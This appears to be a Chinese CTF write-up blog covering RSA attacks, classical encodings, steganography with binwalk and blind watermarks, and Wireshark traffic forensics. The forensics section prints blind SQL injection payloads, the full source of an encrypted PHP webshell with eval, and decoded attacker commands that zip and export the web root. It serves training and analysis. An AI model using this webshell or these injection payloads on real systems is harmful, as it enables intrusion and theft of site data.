\[c ≡ m^e mod \quad n\\m ≡ c^d mod \quad n\]Tips:RSA加解密的算法完全相同,公钥加密体制中,一般用公钥加密,私钥解密,设 c 为明文,m 为密文;公式如下:
RSA 的算法涉及三个参数,n、e、d:
n是两个大质数 p、q 的积,n 的二进制表示所占用的位数,就是所谓的密钥长度;
e 和 d 是一对相关的值,e 可以任意取,但要求 e 与(p-1)(q-1)互质,再选择 d;
(n,e),(n,d)就是密钥对。其中(n,e)为公钥,(n,d)为私钥。
例题1文件如下:
➜ ll
-rw-r--r--@ 1 bin4xin staff 32 4 29 2016 flag.enc
-rw-r--r--@ 1 bin4xin staff 138 4 29 2016 pubkey.pem
➜ file flag.enc
flag.enc: data
➜ file pubkey.pem
pubkey.pem: ASCII text
➜ cat pubkey.pem
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMJjauXD2OQ/+5erCQKPGqxsC/bNPXDr
yigb/+l/vjDdAgMBAAE=
-----END PUBLIC KEY-----
solve.py --verbose -k pubkey.pem --decrypt flag.enc
同样的:例题2类似:
$ rsatools --publickey public.pem --uncipherfile flag.enc
private argument is not set, the private key will not be displayed, even if recovered.
[*] Testing key public.pem.
[*] Performing pastctfprimes attack on public.pem.
90%|█████████████████████████████████████████████████████████████████████▌ | 102/113 [00:00<00:00, 1445.70it/s]
[*] Attack success with pastctfprimes method !
Results for public.pem:
Unciphered data :
HEX : 0x61666374667b5235345f7c355f24305f423072696e397d
INT (big endian) : 9329062300443879711046737916988523093598680555377801597
INT (little endian) : 11994109012077315504651226639166102749077267728721733217
utf-8 : afctf{R54_|5_$0_B0rin9}
STR : b'afctf{R54_|5_$0_B0rin9}'
···
赛题给出一段文本,主要考察RSA公式的用法,考虑已知变量,使用什么攻击手法;
题干: 在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17,求解出d
直接用后面三个公式:
\[n=pq=473398607161*4511491\\ø(n) = (473398607161 - 1) * (4511491 - 1)\\17*d ≡ 1\ mod\ ø(n)\]也就是:
\[\frac{17d-1}{ø(n)} = int() = \frac{17d-1}{2135733082216268400}\\d=\frac{2135733082216268401}{17}=125631357777427553\]同样也可以通过rsatools来解:
➜ ln -s /{path/to}/CTF-RSA-tool/solve.py /usr/local/bin/rsatools
➜ rsatools --verbose --private -N 2135733555619387051 -e 17 -p 473398607161 -q 4511491
有时出题人会给你一个流量包,你需要用wireshark等工具分析,然后根据流量包的通信信息,分析题目考察的攻击方
法,你可以提取出所有你解题需要用到的参数,然后进行解密
举例题目暂时没有遇到,有的话会补上[…]
题目会给你一个脚本和一段密文,一般为python编写,你需要逆向文件流程,分析脚本的加密过程,写出对应的解密脚本进行解密
from Crypto.Util.number import *
import binascii
import gmpy2
flag = '*****************************************'
hex_flag=int(flag.encode("hex"),16)
p=getPrime(256)
q=getPrime(256)
n=p*q
e=0x3
c1=pow(hex_flag,e,n)
c2=pow(hex_flag+1,e,n)
print("n=",hex(n))
print("e=",hex(e))
print("c1=",hex(c1))
print("c2=",hex(c2))
#('n=', '0xb28ae8f29f8b90e8b8c5667b2b71e49929446b41f7f7a3e9e45bc52a1e8c45d59c1788be48a9c365d51feee0b2cd3295001cdad1ba5ccf808686b5ce5a269ae5L')
#('e=', '0x3')
#('c1=', '0x7ba5502ecbc3b15ad8c2db8f30a593eb062dde4d7dfacadf0a28291d1a576389a18dfba0607c0243f843f637449089dd2090d47ee9845d4147f02afd4d891f19L')
#('c2=', '0x891ac4f663df41c1f6433ee3513d749c3ba02fe0aacd7f51d791b9bac4f7e5194bd484d78d972c344faf600f7d3aa580485774768efc47ab8ddb67eeeb330fa1L')
如上所示,已知n、e、c1、c2和、c2的表达式;我们可以求出hex_flag
的值:
Tips:这里pow(a,b,c)的意思就是取模,为:
\[pow(a,b,c) = a^b mod \quad c\\eg: 7^1 mod \ 3 = 1\]>>> a=7 >>> b=1 >>> c=3 >>> n=pow(a,b,c) >>> print n 1
hex_flag
算出来自然flag就出来了,但是实际上我们需要做的是把上面的数学公式输出成代码,因为给出的已知数太大;所以需要公式推导来生成代码:既然推导出了公式,写脚本即可
import gmpy
import binascii
def getM2(a,b,c1,c2,n,e):
a3 = pow(a,e,n)
b3 = pow(b,e,n)
first = c1-a3*c2+2*b3
print("first:")
print(first)
first = first % n
second = e*b*(a3*c2-b3)
second = second % n
third = second*gmpy.invert(first,n)
third = third % n
fourth = (third+b)*gmpy.invert(a,n)
return fourth % n
e=0x3
a=1
b=-1 #padding1-padding2
c1=0x7ba5502ecbc3b15ad8c2db8f30a593eb062dde4d7dfacadf0a28291d1a576389a18dfba0607c0243f843f637449089dd2090d47ee9845d4147f02afd4d891f19
c2=0x891ac4f663df41c1f6433ee3513d749c3ba02fe0aacd7f51d791b9bac4f7e5194bd484d78d972c344faf600f7d3aa580485774768efc47ab8ddb67eeeb330fa1
padding2=1 #padding2
n=0xb28ae8f29f8b90e8b8c5667b2b71e49929446b41f7f7a3e9e45bc52a1e8c45d59c1788be48a9c365d51feee0b2cd3295001cdad1ba5ccf808686b5ce5a269ae5
m = getM2(a,b,c1,c2,n,e)-padding2
#print m
#print hex(m)
#print binascii.unhexlify(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))
binascii.unhexlify:返回由十六进制字符串 hexstr 表示的二进制数据。此函数功能与 b2a_hex() 相反。 hexstr 必须包含偶数个十六进制数 字(可以是大写或小写),否则会引发Error 异常。
题目描述:被小鱼一连将了两军,你心里更加不服气了。两个人一起继续往前走, 一路上杂耍卖艺的很多,但是你俩毫无兴趣,直直的就冲着下一个谜题的地方去了。 到了一看,这个谜面看起来就已经有点像答案了样子了,旁边还画着一张画,是一副农家小院的 图画,上面画着一个农妇在
栅栏里面喂5只小鸡
,你嘿嘿一笑对着小鱼说这次可是我先找到答案了。
题干:
ccehgyaefnpeoobe{lcirg}epriec_ora_g
[…]
题干1:
11 111 010 000 0 1010 111 100 0 00 000 000 111 00 10 1 0 010 0 000 1 00 10 110
,根据1高位/0低位转换为摩丝码最终转换即可值得注意的是,就如上面的题干一样,有时给出的题目不一定会那么耿直让你一眼看出来或者用工具转换出来,需要做一些其他的转换:
题干2:
--/.-/-.--/..--.-/-..././..--.-/..../.-/...-/./..--.-/.-/-./---/-/...././.-./..--.-/-.././-.-./---/-.././..../..../..../..../.-/.-/.-/.-/.-/-.../.-/.-/-.../-.../-.../.-/.-/-.../-.../.-/.-/.-/.-/.-/.-/.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/.-/.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../-.../.-/.-/.-/-.../-.../.-/.-/-.../.-/.-/.-/.-/-.../.-/-.../.-/.-/-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/-.../-.../.-/.-/-.../-.../-.../.-/-.../.-/.-/.-/-.../.-/-.../.-/-.../-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../-.../.-/.-/-.../-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/-.../-.../.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/-.../-.../.-
很明显题1是空格分割,那么题2就是/
分割,当然也可以把斜杠换成空格在转换,都是一样的;
通过算法转换后给出:
MAY_BE_HAVE_ANOTHER_DECODEHHHHAAAAABAABBBAABBAAAAAAAABAABABAAAAAAABBABAAABBAAABBAABAAAABABAABAAABBABAAABAAABAABABBAABBBABAAABABABBAAABBABAAABAABAABAAAABBABBAABBAABAABAAABAABAABAABABAABBABAAAABBABAABBA
很明显是2次加密,AB混合的字符串;有Crypto CTF经验的大手子们一眼就能看出来,培根编码:
小写:
>>> s="ATTACKANDDEFENCEWORLDISINTERESTING"
>>> print(s.lower())
attackanddefenceworldisinteresting
文件格式 | 头尾值 | |
---|---|---|
JPEG (jpg) | 文件头:FFD8FF | |
PNG (png) | 文件头:89504E47 文件尾:0000000049454E44AE426082 | |
GIF (gif) | 文件头:47494638 | |
ZIP Archive (zip) | 文件头:504B0304 文件尾:00000000 | |
TIFF (tif)** | 文件头:49492A00 | |
Windows Bitmap (bmp) | 文件头:424D | |
CAD (dwg) | 文件头:41433130 | |
Adobe Photoshop (psd) | 文件头:38425053 | |
Rich Text Format (rtf) | 文件头:7B5C727466 | |
XML (xml) | 文件头:3C3F786D6C | |
HTML (html) | 文件头:68746D6C3E | |
Email thorough only - (eml) | 文件头:44656C69766572792D646174653A | |
Outlook Express (dbx) | 文件头:CFAD12FEC5FD746F | |
Outlook (pst) | 文件头:2142444E | |
MS Word/Excel (xls.or.doc) | 文件头:D0CF11E0 | |
MS Access (mdb) | 文件头:5374616E64617264204A | |
WordPerfect (wpd) | 文件头:FF575043 | |
Adobe Acrobat (pdf) | 文件头:255044462D312E | |
Quicken (qdf) | 文件头:AC9EBD8F | |
Windows Password (pwl) | 文件头:E3828596 | |
RAR Archive (rar) | 文件头:52617221 | |
Wave (wav) | 文件头:57415645 | |
AVI (avi) | 文件头:41564920 | |
Real Audio (ram) | 文件头:2E7261FD | |
Real Media (rm) | 文件头:2E524D46 | |
MPEG (mpg) | 文件头:000001BA | |
MPEG (mpg) | 文件头:000001B3 | |
Quicktime (mov) | 文件头:6D6F6F76 | |
Windows Media (asf) | 文件头:3026B2758E66CF11 | |
MIDI (mid) | 文件头:4D546864 |
根据题目标题和附件,猜测可能和word文件格式的后缀相关;给出的文件是word的本质的附件.docx
给出一份word文档可以打开,内容如下:
老规矩,binwalk
查看一下文件
➜ binwalk word的本质的附件.docx
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v1.0 to extract, name: _rels/
···
8139 0x1FCB Zip archive data, at least v1.0 to extract, compressed size: 31149, uncompressed size: 31149, name: word/media/image1.jpg
39339 0x99AB Zip archive data, at least v1.0 to extract, compressed size: 19960, uncompressed size: 19960, name: word/media/image2.png
···
105465 0x19BF9 End of Zip archive, footer length: 22
看到是zip文件,直接➜ mv word的本质的附件.docx word的本质的附件.zip
,然后解压得到flag;image1.jpg
是上面文档中的图片:
➜ binwalk 简单的图片的附件.zip
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 1214015, uncompressed size: 1226323, name: 2.png
1214050 0x128662 Zip archive data, at least v2.0 to extract, compressed size: 1008239, uncompressed size: 1008124, name: 1.png
2222498 0x21E9A2 End of Zip archive, footer length: 22
zip压缩包可以直接解压出两张看起来一摸一样的图片;同样的:使用binwalk
分别查看一下两张图片:
➜ binwalk 1.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1080 x 720, 8-bit/color RGB, non-interlaced
179 0xB3 Zlib compressed data, best compression
310064 0x4BB30 MySQL MISAM compressed data file Version 11
➜ binwalk 2.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1080 x 720, 8-bit/color RGB, non-interlaced
注意到MySQL MISAM compressed data file Version 11
这一段,不知道是啥,全部提取出来康康:➜ binwalk --dd=".*" 1.png
➜ ll
total 9880
drwxr-xr-x 6 bin4xin staff 192 8 19 10:01 ./
drwx------ 8 bin4xin staff 256 8 19 09:49 ../
-rw-r--r-- 1 bin4xin staff 1008124 8 19 09:49 0
-rw-r--r--@ 1 bin4xin staff 698060 8 19 09:49 4BB30
-rw-r--r-- 1 bin4xin staff 2333520 8 19 09:49 B3
-rw-r--r-- 1 bin4xin staff 1007945 8 19 09:49 B3.zlib
➜ file 4BB30
4BB30: MySQL MyISAM index file Version 11, 50404 key parts, 19163 unique key parts, 111 keys, 1846990095656532900 records, 1063746735895758743 deleted records
查了查资料是Mysql的存储文件,但是需要三个单独(.FRM /.MYD /.MYI)的文件才能查看mysql的数据,但是我们只有.MYI
的文件。
然后就这样一直卡着;直到看了解题思路:
python bwm.py decode 2.png 1.png Result-1.png
python bwm.py decode 1.png 2.png Result-2.png
所以,如果遇到两张相同的图的题目没有思路,可以往盲水印考点上来靠靠。
Tips: 最近做其他题目思路顺手看了一下发现url不存在,应该是当时没传上去;找到文件附件在修改链接
打开是一张空白的图片,高宽1195x1195
打开显示为注入payloadid=1' and ascii(substr((select flag from t),1,1))=33--
,是使用二分法判断SQL语句执行对应的Ascii字符是否相等:
所以直接来看一下返回包的页面是否有不同的地方:Analyze->Follow->TCP/HTTP Stream
两边不同显示:左边为错误Ascii,右边为正确的Ascii,按照顺序(substr((select flag from t),1,1)->(n,1)
得到:
GET /ctf/Less-5/?id=1' and ascii(substr((select flag from t),1,1))=102-- HTTP/1.1
GET /ctf/Less-5/?id=1' and ascii(substr((select flag from t),2,1))=108-- HTTP/1.1
GET /ctf/Less-5/?id=1' and ascii(substr((select flag from t),3,1))=97-- HTTP/1.1
GET /ctf/Less-5/?id=1' and ascii(substr((select flag from t),4,1))=103-- HTTP/1.1
···
查一下Ascii字母表
得到flag:
102 108 97 103 123 119 49 114 101 115 104 65 82 75 95 101 122 95 49 115 110 116 105 116 125
->flag{w1reshARK_ez_1snt}
[…]
打开一看映入眼帘的是一系列SQL注入的payload:(File -> Export Objects -> HTTP
)
导出几个出来看看,得到一些数据库的信息:
往下就是Login.php POST包
登录成功的信息:
POST /login.php HTTP/1.1
···
username=admin&password=mysql&button=SIGN-IN
HTTP/1.1 302 Found
Location: ./admin/index.php
接着往下,获取到了一些有用的信息,流量显示Upload.php
Post上传成功了一个php马:
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}# E函数为异或加密
return $D;
}
function Q($D){
return base64_encode($D);
}# Q函数为base64编码
function O($D){
return base64_decode($D);
}# O函数为base64解码
$P='pass'; # 木马连接参数
$V='payload'; # 执行载荷
$T='3c6e0b8a9c15224a'; # 加密密钥
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
#/upload/1615384904.php 上传成功,为1615384904.php
1615384904.php
攻击者操作木马进行了哪些操作就好;全部导出,操作流量全加密类似:
pass=OgRUWzZ%2FDUw5ZQRbYXFQfylbVFwGfwlPOXQAWlBjNAo0Wg1fAH4KTjdfb1tkTidcOltUYjJpXAQ%3D
11cd6a8758984163LmIwSi9SBgguZXwBfFkRSQEEUXsvbDRDLltSA39gKAYtdVBHA3Agci5lYEh/XgYCLmIoSCxRVE4CeXR5f2A4Sy1iKAQsfApOLXIARVN8IHg=6c37ac826a2a04bc
post传入参数pass
->$T密钥加密
->$V传入class C
进而传入eval函数进行命令执行,所以我们下一步需要做的是破解木马的加密方式,解密代码
cmdLine=bHMK&methodName=ZXhlY0NvbW1hbmQ=
-> base64decode ->cmdLine=ls&methodName=execCommand
1532851276json 1532851294.php 1532851316.php 1615384904.php
cmdLine=zip www.zip -rP $APACHE_RUN_USER /var/www/html/&methodName=execCommand
www.zip
导出,解压密码是$APACHE_RUN_USER
也是从流量中执行env
命令cmdLine=ZW52Cg==&methodName=ZXhlY0NvbW1hbmQ=
解密得到: APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/app/admin/upload
flag.php
:
<?php
$enc = 'aes-128-ecb';
$flag = 'CN1Sq9tFItxZhsu3zCWbrdf6ozOL4eoKG0s71vGg/AKKnch3IL3jzwtXeCgWK5QP';
?>
file_put_contents('tmp2.txt',base64_decode($out));
输出到tmp2.txt
文件中,同样文件中输出也有空白字符,再次解码即可;使用获得的key在线解密aes-128-ecb
算法,得到flag:DASCTF{d8f191d0f0be0f039c4ededb7839218e}